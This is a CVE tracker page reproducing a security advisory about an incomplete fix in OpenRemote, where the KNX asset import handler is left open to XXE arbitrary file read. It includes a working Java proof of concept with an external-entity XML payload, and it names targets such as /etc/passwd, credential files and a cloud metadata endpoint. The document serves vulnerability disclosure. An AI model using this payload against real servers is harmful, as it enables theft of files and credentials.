CVE-2026-54640

HIGHPre-NVD 7.67.6
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.6 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.6
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 7.6Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

Vulnerable file — KNXProtocol.java, lines 229–249:

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
  → AgentResourceImpl.doProtocolAssetImport(fileData)
  → KNXProtocol.startAssetImport(byte[] fileData)
  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
  → external entity resolved → arbitrary file read

Comparison with patched code

| Handler | XML parser | DTD disabled | Status | |---|---|---|---| | AbstractVelbusProtocol | DocumentBuilderFactory | ✅ 5 features set | Patched (CVE-2026-40882) | | KNXProtocol | Saxon + XMLInputFactory | ❌ none set | Not patched |

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

net.sf.saxon
    Saxon-HE
    12.9

Exploit.java:

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit { public static void main(String[] args) throws Exception {

// Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag);

String maliciousXml = "<?xml version=\"1.0\"?>\n" + "<!DOCTYPE root [\n" + " <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" + "]>\n" + "&xxe;";

// Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim());

// Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "<?xml version=\"1.0\"?>" + "" + "" + "" + ""; TransformerFactory tf = new TransformerFactoryImpl(); StringWriter writer = new StringWriter(); tf.newTransformer(new StreamSource(new StringReader(xsl))) .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer)); System.out.println("Stage B result: " + writer.toString().trim());

Files.deleteIfExists(sentinel); } }

Build and run:

mvn clean package -q
java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

  • /etc/passwd — user enumeration
  • Application configuration files containing database credentials or API keys
  • Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
  • Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.

CVSS v3
7.6
EG Score
7.6(low)
EPSS
KEV
Not listed

Published

July 6, 2026

Last Modified

July 6, 2026

Vendor Advisories for CVE-2026-54640(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 21:36 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54640?
CVE-2026-54640 is a high vulnerability published on July 6, 2026. OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded…
When was CVE-2026-54640 disclosed?
CVE-2026-54640 was first published in the National Vulnerability Database on July 6, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54640?
CVE-2026-54640 has a CVSS v4.0 base score of 7.6 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54640?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54640, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-54640

Explore →

Is Your Infrastructure Affected by CVE-2026-54640?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.